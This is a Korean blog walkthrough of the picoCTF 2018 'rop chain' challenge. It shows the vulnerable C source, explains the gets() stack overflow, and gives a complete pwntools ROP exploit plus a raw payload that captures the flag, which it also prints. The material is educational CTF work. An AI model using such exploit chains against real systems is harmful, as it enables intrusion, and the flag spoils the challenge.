Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- Bug
- ASM
- Toddler's Bottle
- BOF
- pwn
- 2018
- shellcraft
- Read
- Rookiss
- toddler
- rev
- pico
- TUCTF
- format
- Bottle
- picoCTF
- string
- writeup
- Leak
- practicalmalwareanalysis
- pwnable
- shellcode
- FSB
- pwnable.kr
- PMA
- Reverse
- CANARY
- CTF
- reversing
- anti
Archives
- Today
- Total
제리의 블로그
picoCTF 2018 rop chain Binary Exploitation 본문
rop chain - Points: 350 - (Solves: 362)
요약
본 문제는 chaining 관련 문제입니다.
gets() 함수를 통해서 Stack-based BOF 가 발생하며
이 취약점을 통해 flag() 함수를 호출하는 문제입니다.
단 플래그는 if 문 조건을 만족해야하는데
바로 전역변수인 win1 과 win2 를 false 에서 true 로 바꾸는 과정이 필요하고
이때 필요한 기술(?)/개념(?)이 바로 chaining 입니다.
먼저 win_function1() 을 호출해서 전역변수 win1 을 true 로 세팅해주고
그 다음 win_function2() 을 호출해서 전역변수 win2 를 true 로 세팅해주고
Description
Can you exploit the following program and get the flag?
You can findi the program in /problems/rop-chain_1_c44c8bc090f78e799c93b77228891dea on the shell server?
Source.
// rop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
main() 함수는 vuln() 함수를 호출 (63~72번째 줄)
vuln() 함수는 지역변수 buf[16] 에 길이제한없이 gets() 를 통해 버퍼를 입력받음 (57~61번째 줄)
gets() 때문에 지역변수 buf에서 Buffer Overflow (BOF) 발생! (입력 버퍼의 길이 제한이 없기 때문에 함수 프롤로그 후 돌아갈 주소가 덮어질 수 있음)
그럼 돌아갈 주소는 어디로 지정할까요?
바로 flag() 함수입니다.
flag() 함수는 "flag.txt" 파일에 저장되어있는 플래그를 43번째 줄을 통해서 출력해줍니다.
대신 42번째 줄의 if 문의 조건문을 통과해야 합니다.
win1 과 win2 는 이미 선언되어있는 전역변수 입니다.
11, 12번째 줄을 보시면 false 로 초기화되어 있다는 것을 확인할 수 있고
false 를 true 로 바꾸려면 win_function1() 과 win_function2() 를 통해서 가능합니다.
이번 문제는 chaining 관련 문제입니다.
rtl chaining 이나 rop chaining 이라고 검색해보시면 개념 이해에 도움이 될 것입니다.
익스 코드
from pwn import *
context.arch = 'i386'
BUFFER_SIZE = 16
DUMMY = 4
SFP = 4
e = ELF('./rop')
r = ROP(e)
p = process('./rop')
p.recvuntil("Enter your input> ")
payload = ''
payload += 'A' * BUFFER_SIZE
payload += 'B' * (DUMMY * 2)
payload += 'C' * SFP
# win1 <- true
RET1 = e.sym.win_function1
payload += p32(RET1)
# win2 <- true
RET2 = e.sym.win_function2
ARG1 = 0xBAAAAAAD
'''
>>> r.raw(r.ebp)
>>> print r.dump()
0x0000: 0x80485d6 pop ebp; ret
'''
r.raw(r.ebp)
payload += p32(RET2)
payload += r.chain()
payload += p32(ARG1)
# flag
RET3 = e.sym.flag
ARG1 = 0xDEADBAAD
r._chain = [] # init
r.exit()
payload += p32(RET3)
#payload += 'D' * DUMMY
payload += r.chain()
payload += p32(ARG1)
print(repr(payload)) # print payload
p.sendline(payload)
print p.recvall()
플래그
j3rrry@pico-2018-shell-2:/problems/rop-chain$ echo -e 'AAAAAAAAAAAAAAAABBBBBBBBCCCC\xcb\x85\x04\x08\xd8\x85\x04\x08\xd6\x85\x04\x08\xad\xaa\xaa\xba+\x86\x04\x08p\x84\x04\x08\xad\xba\xad\xde' | ./rop
Enter your input> picoCTF{rOp_aInT_5o_h4Rd_R1gHt_b0c53b0a}
j3rrry@pico-2018-shell-2:/problems/rop-chain$
'CTF > pwnable' 카테고리의 다른 글
picoCTF 2018 authenticate Binary Exploitation (0) | 2018.10.13 |
---|---|
picoCTF 2018 echooo Binary Exploitation (0) | 2018.10.13 |
picoCTF 2018 got-shell? Binary Exploitation (0) | 2018.10.09 |
picoCTF 2018 can-you-gets-me Binary Exploitation (0) | 2018.10.03 |
picoCTF 2018 buffer overflow 3 Binary Exploitation (0) | 2018.10.03 |
Comments